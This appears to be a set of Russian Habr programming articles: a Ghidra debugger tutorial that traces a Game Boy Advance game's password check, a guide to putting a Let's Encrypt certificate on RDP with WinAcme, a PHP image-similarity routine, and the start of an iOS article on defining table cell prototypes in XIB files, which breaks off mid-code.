[В середине декабря](https://twitter.com/NSACyber/status/1339652646513291264) в твиттер-аккаунте NSA было объявлено о релизе новой ветки Ghidra с долгожданной поддержкой отладки. Теперь с помощью GDB-заглушки и прочих механизмов можно будет выполнять ее пошагово внутри самой [Ghidra](https://hackaday.io/course/172292-introduction-to-reverse-engineering-with-ghidra). Желая отпраздновать это событие, которое совпало с моим домашним карантином, я подготовил небольшой обзор сборки этой версии, включая пример использования ее отладчика для интересной цели.
**В этой статье мы:**
* научимся собирать последнюю (да и любую) версию Ghidra при помощи [Docker Container](https://github.com/dukebarman/ghidra-builder);
* настроим плагины Ghidra Eclipse;
* выполним сборку программного [загрузчика](https://github.com/SiD3W4y/GhidraGBA) для Ghidra;
* прогоним через отладчик программу, использовав GDB-заглушку;
* с помощью той же отладки разберемся, как обрабатываются пароли для игры на Game Boy Advance.
Меня очень вдохновила прекрасная работа, которую в этом направлении проделывают [stackmashing и LiveOverflow](https://youtu.be/VVbRe7wr3G4). Советую заглянуть на их канал. В нашем же случае в качестве подопытной программы выступит игра Spiderman: Mysterio’s Menace. В свое время я играл в нее очень много, к тому же всегда приятно снова взглянуть на свои детские увлечения с позиции опыта. Конечная цель – показать, как правильно загружать этот образ ROM через настраиваемый загрузчик и подключать GDB-заглушку эмулятора при помощи отладчика Ghidra.
**К сведению:** при начале очередного проекта по реверс-инжинирингу важно правильно определить задачи. Например, если мы говорим, что хотим просто разобрать игру, то здесь допустимо огромное число вариантов. Можно, к примеру, разобрать механику обнаружения столкновений, принцип работы ИИ или способ создания карт уровней. В этой же статье конечной целью мы обозначим изучение механизма паролей.
Проект реализуется под Ubuntu 20.04 со всеми последними обновлениями.
Сборка Ghidra
-------------
Начнем с основного. Ветка отладчика еще не была включена в официальный релиз, так что мы его будем собирать сами. К нашему везению, уважаемый [dukebarman](https://github.com/dukebarman/ghidra-builder) уже создал для этой задачи docker-контейнер, и нам осталось только изменить скрипт *build\_ghidra.sh* для переключения на ветку отладчика:
```
git clone https://github.com/NationalSecurityAgency/ghidra -b debugger
```
Мы также настроим для этой версии Ghidra расширения разработки Eclipse, что пригодится нам позже при сборке загрузчика и написании сценариев анализа. Для этого нужно добавить в скрипт *build\_ghidra.sh* следующее:
```
gradle prepDev
gradle eclipse -PeclipsePDE
```
Далее следуйте инструкциям в *README*:
```
cd ghidra-builder
sudo docker-tpl/build
cd workdir
sudo ../docker-tpl/run ./build_ghidra.sh
```
Это займет какое-то время, так что можете отвлечься на кофе, а к возвращению вас уже будет ждать свежесобранная Гидра. Готовая сборка находится в *workdir/out*:
```
wrongbaud@wubuntu:~/blog/gba-re-gbd/ghidra-builder/workdir$ ls out/
ghidra_9.3_DEV_20201218_linux64.zip
```
Распакуйте файл и можете запускать Ghidra через скрипт *./ghidraRun*. Я распакую содержимое в каталог *ghidra-builder/workdir*, так как для сборки этой версии мы будем использовать docker-контейнер. Если вы следуете за процессом, то сейчас ваша рабочая директория должна выглядеть так:
```
wrongbaud@wubuntu:~/blog/gba-re-gbd/ghidra-builder/workdir$ ls
build_ghidra.sh ghidra ghidra_9.3_DEV out set_exec_flag.sh
```
Сборка плагинов Eclipse
-----------------------
Закончив с Ghidra, можно переходить к сборке плагинов GhidraDev для Eclipse. Эти проекты находятся в каталоге *ghidra-builder/workdir/ghidra/GhidraBuild/EclipsePlugins/GhidraDev*.
1. Установите Eclipse
* Выберите Java IDE
2. Установите CDT, PyDev, и Plugin Development Environment.
* Это можно сделать из маркетплейса Eclipse.
3. Импортируйте проекты GhidraDevFeature и GhidraDevPlugin.
* Они находятся в каталоге *ghidra-builder/workdir/ghidra/GhidraBuild/EclipsePlugins/GhidraDev/*
* *File* -> *Import* -> *General* -> *Existing Projects into Workspace*
* Добавьте *ghidra-builder/workdir/ghidra/GhidraBuild/EclipsePlugins/GhidraDev*
* Выберите “Search for nested projects”
* Импортируйте проекты.
**К сведению:** после импорта вы можете заметить некоторые ошибки сборки. Не обращайте внимания, так как вы просто экспортируете плагин.
4. Теперь перейдем к экспорту:
* *File* -> *Export*
* *Plug-in Development* -> *Deployable Features*
* *ghidradev.ghidradev*
* Выберите местоположение архива для экспорта плагина.
* Жмите Finish.
Теперь у нас есть плагин для настраиваемой версии Ghidra, который можно скачать через *Help*->*Install New Software*.
При этом мы собрали Ghidra из ветки *debugger*, а также настроили расширения разработки Eclipse, получив возможность создавать плагины для нашей новой версии Ghidra.
**К сведению:** я хочу подчеркнуть, насколько полезно заглядывать в документацию Ghidra. В ней содержится все необходимое, начиная с мануалов по P-Code и заканчивая инструкциями по сборке и экспорту плагинов.
Создание загрузчика ROM
-----------------------
Для успешного анализа образа ROM нам понадобится определить все области памяти и периферийные устройства GBA. И снова, к нашей удаче, SiD3W4y уже написал для этого решение на GitHub.
Задача загрузчика Ghidra в настройке всех необходимый областей памяти, определении отладочной информации и символов, которые могут присутствовать в файле, а также выдача всей доступной информации о целевом файле. Упомянутый выше загрузчик описывает все основные периферийные устройства GBA и прекрасно подойдет для нашей задачи, так что начнем с его копирования в тот же каталог *ghidra-builder/workdir*, поскольку для сборки будем использовать тот же контейнер docker, с помощью которого собирали Ghidra.
```
cd ghidra-builder/workdir
git clone https://github.com/SiD3W4y/GhidraGBA
sudo ../docker-tpl/run /bin/bash
dockerbot@797eb43ce05f:/files/GhidraGBA$ export GHIDRA_INSTALL_DIR=/files/ghidra_9.3_DEV/
dockerbot@797eb43ce05f:/files/GhidraGBA$ gradle
dockerbot@797eb43ce05f:/files/GhidraGBA$ cp dist/ghidra_9.3_DEV_20201218_GhidraGBA.zip ../ghidra_9.3_DEV/Extensions/Ghidra/
dockerbot@797eb43ce05f:/files/GhidraGBA$ exit
exit
```
**Здесь мы:**
1. Запускаем docker-контейнер.
2. Собираем расширение GhidraGBA, указывая путь к месту установки.
3. Копируем каталог расширений Ghidra, чтобы он показывался под меню Install Extensions.
4. Выходим из контейнера docker.
Запустите Ghidra командой *ghidraRun* и перейдите в *File*-> *Install Extensions*. Выберите загрузчик GhidraGBA и кликните *OK*. Для применения изменений потребуется перезапустить Ghidra. Теперь при загрузке GBA ROM должно отображаться следующее:
После выполнения автоматического анализа Ghidra неплохо поняла этот образ ROM. В нем определено много функций и выглядит все достаточно хорошо. Следующим шагом будет найти способ сузить нашу область интереса в этом образе. Говоря условно, нам нужно найти иголку в стоге сена. Начнем с выяснения принципа работы системы паролей, для чего просто попробуем ввести несколько их вариантов.
Анализ ROM
----------
При вводе пароля мы наблюдаем такой экран:
Заметьте, что используются только согласные буквы и цифры от 0 до 9. Сам же пароль состоит из 5 символов. Для реверсинга это будет неплохой отправной точкой. С помощью данной информации можно сузить область интересующих нас функций. Например, давайте просмотрим строки ROM в поиске этих значений. Если открыть окно строк, *Window* -> *Defined Strings*, и сделать выборку по пяти первым доступным символам, то мы увидим следующее:
Кое-какой результат имеется – мы обнаружили две точки использования этой строки. Одна расположена в *0x804c11fc*, а вторая в *0x84b86f0*. При проверке первой строки мы видим, что она передается функции в подпрограмме по адресу *0x8003358*:
```
undefined4 passwd_1(int param_1,int param_2)
{
int iVar1;
uint uVar2;
uint uVar3;
undefined4 in_lr;
undefined auStack52 [36];
undefined4 uStack4;
uStack4 = in_lr;
FUN_080231f4(auStack52,"BCDFGHJKLMNPQRSTVWXYZ0123456789-",0x21);
*(uint *)(param_1 + 0x8c) = 0;
FUN_080025f8(param_1);
FUN_08002674(param_1);
FUN_08002714(param_1);
FUN_0800282c(param_1);
iVar1 = 0;
uVar3 = *(uint *)(param_1 + 0x8c);
uVar2 = 0;
do {
*(undefined *)(param_2 + iVar1) = auStack52[uVar3 >> (uVar2 & 0xff) & 0x1f];
uVar2 = uVar2 + 5;
iVar1 = iVar1 + 1;
} while (iVar1 < 5);
return uStack4;
}
```
Обратите внимание на цикл, продолжающий выполнение при переменной *< 5*. Это говорит о том, что данная функция может оказаться полезной, поскольку пароль как раз содержит именно 5 символов. Давайте отметим ее как *passwd\_1* и перейдем к остальным местам использования нашей строки символов. Далее она встречается в функции по адресу *0x8002CEC*. Вот декомпилированный вариант:
```
undefined8 passwd_2(void)
{
int iVar1;
int iVar2;
uint uVar3;
undefined4 in_lr;
undefined local_98 [5];
undefined local_93;
undefined auStack144 [36];
undefined auStack108 [8];
undefined auStack100 [72];
undefined4 uStack4;
uStack4 = in_lr;
FUN_08000b0c(0,1,0,0);
DAT_03001fd0._0_2_ = 0x1444;
DISPCNT = 0x1444;
FUN_0801e330(&DAT_0838277c);
iVar1 = DAT_03001fe0;
FUN_080231f4(auStack144,"BCDFGHJKLMNPQRSTVWXYZ0123456789-",0x21);
*(uint *)(iVar1 + 0x8c) = 0;
FUN_080025f8(iVar1);
FUN_08002674(iVar1);
FUN_08002714(iVar1);
FUN_0800282c(iVar1);
iVar2 = 0;
uVar3 = 0;
do {
local_98[iVar2] = auStack144[*(uint *)(iVar1 + 0x8c) >> (uVar3 & 0xff) & 0x1f];
uVar3 = uVar3 + 5;
iVar2 = iVar2 + 1;
} while (iVar2 < 5);
local_93 = 0;
FUN_0801d1bc(auStack108,local_98);
FUN_0801d92c(DAT_03001ff0,0x10,0);
FUN_08000b0c(1,1,0,0);
*(undefined4 *)(DAT_03002028 + 0xc) = 0x200;
FUN_08000f1c();
iVar1 = FUN_0801d26c(auStack108);
*(undefined4 *)(DAT_03002028 + 0xc) = 0;
FUN_08000f1c();
FUN_0801dcac(DAT_03001ff0,0);
FUN_08000b0c(0,1,0,0);
FUN_08004408(auStack100,2);
return CONCAT44(uStack4,(uint)(iVar1 == 0));
}
```
И снова мы видим передачу этой строки в функцию, а также очередной цикл, выполняющий 5 итераций – отметим его как *passwd\_2* и перейдем далее. Следующая строка встречается по адресу *0x84b86f0* и также используется в двух подпрограммах. Вот первая, расположенная в *FUN\_0801c37c*:
```
undefined4 render_pw_screen(int param_1)
{
int iVar1;
int iVar2;
uint uVar3;
undefined4 uVar4;
uint uVar5;
undefined4 in_lr;
char local_1c [8];
undefined4 uStack4;
uStack4 = in_lr;
iVar2 = FUN_0801b834(DAT_03001ffc,"@ - Accept & - Backspace");
iVar1 = DAT_03001ffc;
*(uint *)(DAT_03001ffc + 0x90) = 0xf0U - iVar2 >> 1;
*(undefined4 *)(iVar1 + 0x94) = 0x96;
FUN_0801b764(iVar1,"@ - Accept & - Backspace");
uVar3 = *(uint *)(param_1 + 0x51c);
if (uVar3 != 0) {
uVar5 = 0;
if (uVar3 != 0) {
do {
local_1c[uVar5] = "BCDFGHJKLMNPQRSTVWXYZ0123456789-"[*(byte *)(param_1 + 0x520 + uVar5)];
uVar5 = uVar5 + 1;
} while (uVar5 < uVar3);
}
local_1c[*(int *)(param_1 + 0x51c)] = '\0';
iVar2 = FUN_0801b834(DAT_03002000,local_1c);
iVar1 = DAT_03002000;
*(uint *)(DAT_03002000 + 0x90) = 0xf0U - iVar2 >> 1;
*(undefined4 *)(iVar1 + 0x94) = 0x3f;
iVar2 = FUN_0800118c(DAT_03001fdc,5);
*(byte *)(iVar1 + 5) = *(byte *)(iVar1 + 5) & 0xf | (byte)(iVar2 << 4);
FUN_0801b764(DAT_03002000,local_1c);
}
if (*(int *)(param_1 + 0x51c) != 5) {
uVar4 = FUN_0801a6d4(*(undefined4 *)(param_1 + 0x18));
*(undefined4 *)(param_1 + 4) = uVar4;
}
return uStack4;
}
```
В этой функции мы видим, что *FUN\_0801b764* вызывается со строкой *@ — Accept & — Backspace*. Несколько далее та же функция вызывается с переменной, содержащей интересующую нас строку. При дальнейшем рассмотрении*FUN\_0801b764* мы узнаем, что она копирует данные из второй переменной (строки ASCII) в адрес памяти первого аргумента. Здесь уже нельзя сказать уверенно, но меня кажется, что конкретно эта подпрограмма служит для отрисовки текста на экране, поэтому пока что я ее пропущу и перейду к следующему месту использования строки символов, которое привожу ниже:
```
undefined8 FUN_0801c454(int param_1)
{
int iVar1;
int iVar2;
undefined4 in_lr;
char local_14 [8];
undefined4 uStack4;
iVar2 = 1;
uStack4 = in_lr;
FUN_080231f4(local_14,"CRDT5",6);
iVar1 = 0;
do {
if (local_14[iVar1] != "BCDFGHJKLMNPQRSTVWXYZ0123456789-"[*(byte *)(param_1 + 0x520 + iVar1)]) {
iVar2 = 0;
}
iVar1 = iVar1 + 1;
} while ((iVar1 < 5) && (iVar2 != 0));
return CONCAT44(uStack4,iVar2);
}
```
Что у нас здесь? Во-первых, здесь мы видим *FUN\_080231f4*, по сути являющуюся операцией memcpy:
```
undefined4 * memcpy_1(undefined4 *dest,undefined4 *src,uint count)
{
undefined4 uVar1;
undefined4 *puVar2;
undefined4 *puVar3;
puVar2 = dest;
if ((0xf < count) && ((((uint)src | (uint)dest) & 3) == 0)) {
do {
*puVar2 = *src;
puVar2[1] = src[1];
puVar3 = src + 3;
puVar2[2] = src[2];
src = src + 4;
puVar2[3] = *puVar3;
puVar2 = puVar2 + 4;
count = count - 0x10;
} while (0xf < count);
while (3 < count) {
uVar1 = *src;
src = src + 1;
*puVar2 = uVar1;
puVar2 = puVar2 + 1;
count = count - 4;
}
}
while (count = count - 1, count != 0xffffffff) {
*(undefined *)puVar2 = *(undefined *)src;
src = (undefined4 *)((int)src + 1);
puVar2 = (undefined4 *)((int)puVar2 + 1);
}
return dest;
}
```
Ее задача – копирование строки *CRDT5* в указатель ячейки памяти в *local\_14*. Далее мы видим, что в цикле *while* это значение используется в сравнении:
```
if (local_14[iVar1] != "BCDFGHJKLMNPQRSTVWXYZ0123456789-"[*(byte *)(param_1 + 0x520 + iVar1)])
```
Что же происходит здесь? В каждой итерации символ из *local\_14* сравнивается со значением из нашей строки доступных символов *BCDFGHJKLMNPQRSTVWXYZ0123456789-*. Такое поведение вполне соответствует предполагаемым действиям функции проверки пароля. Но мы знаем, что *iVar1* при каждой итерации увеличивается на 1. Значит ли это, что пароли должны состоять из смежных символов в *BCDFGHJKLMNPQRSTVWXYZ0123456789-*? Это бы было очень глупо, к тому же строка *CRDT5* никогда бы не прошла такую проверку. Если еще раз взглянуть на условие сравнения, то можно заметить, что в нем присутствует переменная *param\_1*, которая тоже используется в качестве индекса, к которому прибавляются *iVar1* и *0x520* – затем эти значения используются как INDEX в доступных для набора символах.
О чем это говорит? Переменная *param\_1* скорее всего указывает на массив смещений, представляющих введенные на экране пароля символы. Например, если мы введем *GHDRR*, то массив будет содержать [0x4,0x5,0x2,0xd,0xd].
Но давайте не будем забегать вперед и для начала попробуем пароль *CRDT5*:
Интересно! Мы попали в сцену с титрами!
Выглядит просто, не так ли? Но было бы неплохо выяснить, где именно в памяти хранится наш пароль. Если узнать, куда указывает *param\_1*, то можно вычислить местоположение пароля в RAM и поискать перекрестные ссылки. Ну а раз у нас теперь есть нужная функция, давайте задействуем отладчик!
Отладка ROM
-----------
Те, кто повторяет процесс, должны были заметить появление нового инструмента в менеджере проектов:
Обратите внимание на иконку жука – с ее помощью открывается отладчик. Кликнув по ней, вы увидите следующее окно:
В отличие от обычного представления анализатора здесь находится много дополнительных вкладок и окон. В верхнем левом углу расположено окошко Debugger Targets (цели отладчика), которое мы используем для установки соединения с отладчиком или запуска новой сессии отладки.
Под ним располагается окно “Objects”, показывающее находящиеся в режиме отладки “Objects”. Отсюда можно делать паузу, выполнять шаги и т.д.
В самом низу находится представление трех вкладок: Regions (области памяти), Stack (стек) и Console (консоль).
Справа мы видим окно для показа двух других вкладок: Threads (потоки) и Time (время). Для нашей задачи отладки однопоточной ARM-системы эти окна не пригодятся.
И наконец, оставшаяся справа часть экрана выделена под еще несколько вкладок, которые обычно представлены в разделе анализатора Ghidra. Здесь у нас вкладка Breakpoints, отображающая заданные точки останова:
Вторая вкладка Registers будет обновляться значениями регистра при достижении точек останова:
Последняя же вкладка – это представление Modules, где при необходимости отображаются загруженные модули. Мы же в случае нашего простого приложения ничего в ней не увидим:
Подключение к эмулятору
-----------------------
Для этого проекта я использую эмулятор *mGBA*, главным образом потому, что он может представлять удаленную GDB-заглушку. Подключаться к нему мы будем с помощью *gdb-multiarch*. Чтобы выполнить это из представления отладчика нужно в окошке Debugger Targets кликнуть по зеленой вилке (Connect), что вызовет следующее окно:
Здесь есть много опций для удаленной отладки. В целях данной статьи я использую *IN-VM GNU gdb local debugger*.
Я добавил gdb-multiarch в путь команды запуска gdb. После нажатия Connect появится стандартное диалоговое окно:
Теперь нужно запустить сервер. Загрузите образ ROM в mGBA и выберите *Tools* -> *Start GDB Server*, всплывет такое окно:
Кликните Start и возвращайтесь в окно отладчика Ghidra. В диалоговом окне gdb выполните следующие команды:
```
set architecture arm
set arm fallback-mode thumb
set arm force-mode thumb
target remote localhost:2345
break *0x801c470
c
```
Здесь мы устанавливаем gdb архитектуру, подключаемся к удаленному серверу и в завершении определяем точку останова у функции, которая, как мы считаем, проверяет, нужно ли показывать сцену с титрами. Говоря конкретнее, устанавливаем ее у сегмента, сравнивающего переданный нами символ с извлеченным из строки доступных символов. Рассматривать мы будем этот фрагмент ассемблера:
```
LAB_0801c470 XREF[1]: 0801c48c(j)
0801c470 69 46 mov r1,sp
0801c472 88 18 add r0,r1,r2
0801c474 a1 18 add r1,r4,r2 ; Обновление указателя на введенный пароль текущим индексом
0801c476 09 78 ldrb r1,[r1,#0x0]; r1 содержит значение индекса переданного символа пароля. Например, "B" == 0, "C"==1, и т.д.
0801c478 c9 18 add r1,r1,r3; r3 содержит указатель на строку доступных символов. Мы добавляем к этому указателю индекс текущего символа пароля.
0801c47a 00 78 ldrb r0=>local_14,[r0,#0x0] ; Загрузка r0 из стека со значением строки "CRDT5" по индексу, указанному r2
0801c47c 09 78 ldrb r1,[r1,#0x0]=>s_BCDFGHJKLMNPQRSTVWXYZ012345678 = "BCDFGHJKLMNPQRSTVWXYZ01234567 ; Загрузка представления символа на основе введенного для пароля значения
0801c47e 88 42 cmp r0,r1 ; Сравнение!
0801c480 00 d0 beq LAB_0801c484
0801c482 00 25 mov r5,#0x0
LAB_0801c484 XREF[1]: 0801c480(j)
0801c484 01 32 add r2,#0x1; Увеличение счетчика индекса
0801c486 04 2a cmp r2,#0x4
0801c488 01 dc bgt LAB_0801c48e
0801c48a 00 2d cmp r5,#0x0
0801c48c f0 d1 bne LAB_0801c470
```
Введя все вышеприведенные команды, посмотрим, сработает ли точка останова…
Превосходно! Мы не только достигли точки останова, но и зафиксировали все регистры. Теперь проверим, верны ли были все наши предположения в отношении проверки пароля. Прошагаем через несколько инструкций до позиции *0801c474*. Здесь мы предполагаем, что *r1* будет указывать на массив индексов, представляющих введенные нами символы. Для выяснения этого заглянем в память:
**К сведению:** если вы делаете отладку удаленно при помощи *gdb-multiarch*, и при этом некоторые точки останова не срабатывают, попробуйте использовать команду *stepi* вместо *c*. Такую проблему я встречал в mGBA ранее, и она не связана с сервером GDB.
```
(gdb)x/10x $r1
0x2005998: 0x01 0x0d 0x02 0x0f 0x1a 0x00 0x00 0x00
0x20059a0: 0x00 0x4f
```
Вот оно! Что и следовало ожидать – вместо сохранения фактических символов ascii, вводимых в качестве пароля, сохраняются значения их индексов в таблице доступных символов:
Просто ради проверки, давайте посмотрим, что произойдет, если ввести в качестве пароля *CGHDR* и установить те же точки останова:
```
Breakpoint 3, 0x0801c476
Can't determine the current process's PID: you must name one.
(gdb)x/10x $r1
0x2005998: 0x01 0x04 0x05 0x02 0x0d 0x00 0x00 0x00
0x20059a0: 0x00 0x60
```
Все так и есть! Теперь мы знаем, как сохраняются пароли, и как они выглядят в памяти, а также умеем делать отладку из Ghidra. Думаю, что для данной статьи на этом можно прерваться – в следующей же мы исследуем другие особенности пароля при помощи той же Ghidra и возможностей удаленной отладки GDB.
Заключение
----------
Сегодня мы познакомились с инструментами, позволяющими собрать Ghidra, рассмотрели некоторые из заявленных возможностей отладчика, с помощью которых смогли произвести удаленную отладку игры на Game Boy Advance. Многое из проделанного вы можете выполнить и без Ghidra, используя только gdb-multiarch, но я хотел познакомиться с этими возможностями и попутно поделиться с вами опытом.
Как всегда, по любым возникшим вопросам обращайтесь ко мне в [Twitter](https://twitter.com/wrongbaud). Если же вам интересно побольше узнать о Ghidra или взломе аппаратных средств в общем, можете ознакомиться с подготовленными мной [обучающими материалами](https://www.voidstarsec.com/free-courses-materials) (англ.).
Дополнительная информация / Примечания
--------------------------------------
Основные выводы здесь: gvba не работает ни с какими современными GDB. По какой-то причине gdb-multiarch пропускает точки останова, а gdb из devkitarm не отвечает должным образом ghidra для предоставления регистров.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=pervoe_znakomstvo_s_otladchikom_ghidra_i_vzlom_igry_spiderman#order) | https://habr.com/ru/post/535564/ | null | ru | null |
# Как убрать назойливое предупреждение о сертификате для RDP
[](https://habr.com/ru/company/ruvds/blog/509202/)
Привет Хабр, это супер короткое и простое руководство для новичков о том, как подключаться по RDP по доменному имени, чтобы не вылезало назойливое предупреждение о сертификате, подписанным самим сервером. Нам понадобится WinAcme и домен.
Все, кто хоть раз пользовался RDP, видели эту надпись.
В руководстве приведены готовые команды для пущего удобства. Скопировал, вставил и заработало.
Так вот, это окно можно в принципе пропустить, если выдать сертификат подписанный сторонним, трастовым центром сертификации. В данном случае, Let’s Encrypt.
1. Добавляем А запись
---------------------
Просто добавляем A запись и вписываем в неё IP адрес сервера. На этом работа с доменом окончена.
2. Качаем WinAcme
-----------------
[Качаем WinAcme с их сайта](https://www.win-acme.com/). Архив лучше всего распаковать туда, куда вы не доберетесь, исполняемые файлы и скрипты вам еще пригодятся в будущем для автоматического обновления сертификата. Лучше всего вытряхнуть архив в C:\WinAcme\.
3. Открываем 80 порт
--------------------
Авторизация вашего сервера осуществляется по http, поэтому нам нужно открыть 80 порт. Для этого введите в Powershell команду:
```
New-NetFirewallRule -DisplayName 80-TCP-IN -Direction Inbound -Protocol TCP -Enabled True -LocalPort 80
```
4. Разрешаем выполнение скриптов
--------------------------------
Чтобы WinAcme смог без проблем импортировать новый сертификат, нужно разрешить выполнение скриптов. Для этого переходив в папку /Scripts/
Перед запуском WinAcme нам нужно разрешить выполнение двух скриптов. Для этого двойным кликом запустите PSRDSCerts.bat из папки со скриптами.
5. Устанавливаем сертификат
---------------------------
Дальше скопируйте строку ниже и введите имя домена, по которому хотите подключатсяь к серверу и выполните команду.
```
C:\Winacme\wacs.exe --target manual --host VASHDOMAIN.RU --certificatestore My --installation script --installationsiteid 1 --script "Scripts\ImportRDListener.ps1" --scriptparameters "{CertThumbprint}"
```
После этого сертификат подписывающий домен встанет на место старого. Обновлять вручную ничего не нужно, через 60 дней программа продлит сертификат сама.
Готово! Вы великолепны и избавились от надоедливой ошибки.
**А какие системные ошибки раздражают вас?**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=ilya&utm_content=sertrdp#order) | https://habr.com/ru/post/509202/ | null | ru | null |
# Простое сравнение изображений с помощью php
Алгоритм возможно не новый, и **не является идеалом**, но, на удивление, работает. Никаких графов и корелляции.
Для начала, стоит отметить, что сравнение очень приблизительно (по крайней мере, на данном этапе), временами две совершенно разные фотографии оказываются похожими процентов на 60%, так же не учитываются жесткие модификации (повороты, инверсия, обрезка) – для этого нужно доводить и доводить. Лично для меня самым главным оказались два параметра: **скорость**, **независимость** **от разрешения изображения** и возможность сравнивать «изображения» прямо в базе данных.
#### Принцип
* Открываем исходное изображение
* Масштабируем его до размера маски (в моем случае это 20 на 20, большие размеры мне ни к чему – сравнение приблизительное, вполне возможно сделать маску и 10 на 10).
* Вычисляем основной цвет маски.
* Создаем массив, где значением является ключ типа **af2** (1,2 — координты, как в морском бою. 2 — расхождение с основной яркостью).
* Генерируем строку – ключ.
* Сравниваем две строки по релевантности.
#### Код
В данном случае представлена версия, работающая через GD c **PNG** изображениями.
> `//Генерация ключа-изображения
>
> function getimageid($image)
>
> {
>
> //Размеры исходного изображения
>
> $size=getimagesize($image);
>
>
>
> //Исходное изображение
>
> $image=imagecreatefrompng($image);
>
>
>
> //Маска
>
> $zone=imagecreate(20,20);
>
>
>
> //Копируем изображение в маску
>
> imagecopyresized($zone,$image,0,0,0,0,20,20,$size[0],$size[1]);
>
>
>
> //Будущая маска
>
> $colormap=array();
>
>
>
> //Базовый цвет изображения
>
> $average=0;
>
>
>
> //Результат
>
> $result=array();
>
>
>
> //Заполняем маску и вычисляем базовый цвет
>
> for($x=0;$x<20;$x++)
>
> for($y=0;$y<20;$y++)
>
> {
>
> $color=imagecolorat($zone,$x,$y);
>
> $color=imagecolorsforindex($zone,$color);
>
>
>
> //Вычисление яркости было подсказано хабраюзером Ryotsuke
>
> $colormap[$x][$y]= 0.212671 \* $color['red'] + 0.715160 \* $color['green'] + 0.072169 \* $color['blue'];
>
>
>
> $average += $colormap[$x][$y];
>
> }
>
>
>
> //Базовый цвет
>
> $average /= 400;
>
>
>
> //Генерируем ключ строку
>
> for($x=0;$x<20;$x++)
>
> for($y=0;$y<20;$y++)
>
> $result[]=($x<10?$x:chr($x+97)).($y<10?$y:chr($y+97)).round(2\*$colormap[$x][$y]/$average);
>
>
>
> //Возвращаем ключ
>
> return join(' ',$result);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
> `//Вычисление "похожести" двух изображений
>
> function imagediff($image,$desc)
>
> {
>
> $image=explode(' ',$image);
>
> $desc=explode(' ',$desc);
>
>
>
> $result=0;
>
>
>
> foreach($image as $bit)
>
> if(in\_array($bit,$desc))
>
> $result++;
>
>
>
> return $result/((count($image)+count($desc))/2);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
\*функция подсчета схожести примерная — лучше данное действие выполнять на стороне базы.
#### Примеры
На удивление, **~~95%~~ 87% схожести** (с добавлением UPD-2)
**52% схожести**
**28% схожести**
**100% схожести**
#### Постскриптум
Всё это только приблительные выкладки, особо продвинутого сравнения таким образом не добиться, но для быстрой выборки из базы похожих изображений сойдет.
**P.S.** Замечания и советы принимаются.
**UPD** Спасибо [MiniM](https://habrahabr.ru/users/minim/) — код упростился.
**UPD-2** Небольшое дополнение:
> `//Генерируем ключ строку
>
> for($x=0;$x<20;$x++)
>
> for($y=0;$y<20;$y++)
>
> $result[]=($x<10?$x:chr($x+97)).($y<10?$y:chr($y+97)).($colormap[$x][$y]==0?'0':round(2\*($colormap[$x][$y]>$average?$colormap[$x][$y]/$average:-1\*$average/$colormap[$x][$y])));
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
После этого будет учитываться уменьшение яркости в точке. Таким образом схожесть в первом примере составит **87%**.
**UPD-3** Перенесено в php. | https://habr.com/ru/post/55926/ | null | ru | null |
# Дизайним прототипы ячеек в одном XIB-е с UITableView
А заодно раз и навсегда решаем проблему автоматической калькуляции высоты ячеек.
Disclaimer:
Вероятно, этот метод не обеспечивает наилучшую производительность, может иметь некоторое количество подводных камней, вызывать головокружение, тошноту и дьявола, старикам и беременным детям просьба не читать.
~~Создание~~ Преодоление трудностей — наверное лучшая мотивация программиста. Не секрет, Xcode содержит уйму недоработок, непрозрачных решений и багов. Сегодня я постараюсь найти решение одного из них
В iOS5 ввели замечательную фичу — Storyboard, а также возможность создавать прототипы ячеек прямо внутри создаваемой таблицы (которые, тем не менее, компилятся в отдельные NIB-ы). Однако новый функционал решили не внедрять в обычные XIB-ы.
Меня немного озадачило, что в свежем Xcode все-таки можно создать UITableViewController, в котором сразу будет таблица, и даже прототип ячейки. Однако при компиляции Xcode выдаст ошибку, что так делать мол нельзя.
Так мы подошли к вопросу *«а зачем»*:
Допустим, есть два больших сториборда. Почему два? Потому что, если пихать гору вьюшек, кнопочек и табличек в один, то даже новенький и резвый (правда год назад) MacBook Pro Retina 13" превращается в тыкву.
Итак, есть два сториборда, и, допустим, оба они должны открыть один и тот же контроллер при разном стечении обстоятельств.
Пытливый читатель заметит, что в iOS9 ввели ссылки на внешний storyboard, но что если проект требует поддержки iOS8, а то и 7? К сожалению, обратной совместимости ребята из Купертино добавлять не любят.
Возможным решением будет создать ViewController без View и внешний Xib с таким же именем класса, чтобы он автоматически подгрузился методом loadView. Или явно устанавливаем свойство nibName:
Кажется, раньше для этого было явное поле, но в Xcode 7 я его не нашел.
И тут мы сталкиваемся с проблемой, что прототипы ячеек для таблицы придется класть во внешние Xib-ы, причем по одному в файл, и явно регистрировать их в коде. После использования Storyboard совсем не хочется так делать.
И вот как можно поступить (код будет на Objective C, так как далее используется чёрная магия):
Создаем .h файл со следующим содержанием:
```
@interface UITableView (XibCells)
@property (nonatomic, strong) IBOutletCollection(UITableViewCell) NSArray* cellPrototypes;
@end
```
Это позволит закинуть в файл Interface Builder ячейки (правда, не внутрь таблицы, а рядом), и подключить их к IBOutletCollection cellPrototypes
Теперь надо как-то подсунуть загруженные ячейки таблице, чтобы она их подгружала по мере необходимости.
Для этого в .m файле создадим наследника UINib с предварительно загруженными данными и переопределим метод *instantiateWithOwner:options:*
```
@interface PrepopulatedNib: UINib
@property (nonatomic, strong) NSData* nibData;
@end
@implementation PrepopulatedNib
+ (instancetype)nibWithObjects:(NSArray*)objects {
PrepopulatedNib* nib = [[self alloc] init];
nib.nibData = [NSKeyedArchiver archivedDataWithRootObject:objects];
return nib;
}
- (NSArray *)instantiateWithOwner:(id)ownerOrNil options:(NSDictionary *)optionsOrNil {
return [NSKeyedUnarchiver unarchiveObjectWithData:_nibData];
}
@end
```
При инициализации объекта PrepopulatedNib переданный массив архивируется в NSData с помощью NSKeyedArchiver.
Далее UITableView вызывает метод instantiateWithOwner:nil options:nil, и мы разархивируем массив обратно, создавая таким образом копию объектов. Ячейки, полученные таким образом 100% идентичны, так как только что были разархивированы из NIB-a и соответствуют протоколу NSCoding.
Последний штрих: заставить таблицу связать переданные ячейки и PrepopulatedNib:
```
@implementation UITableView (XibCells)
- (void)setCellPrototypes:(NSArray*)cellPrototypes {
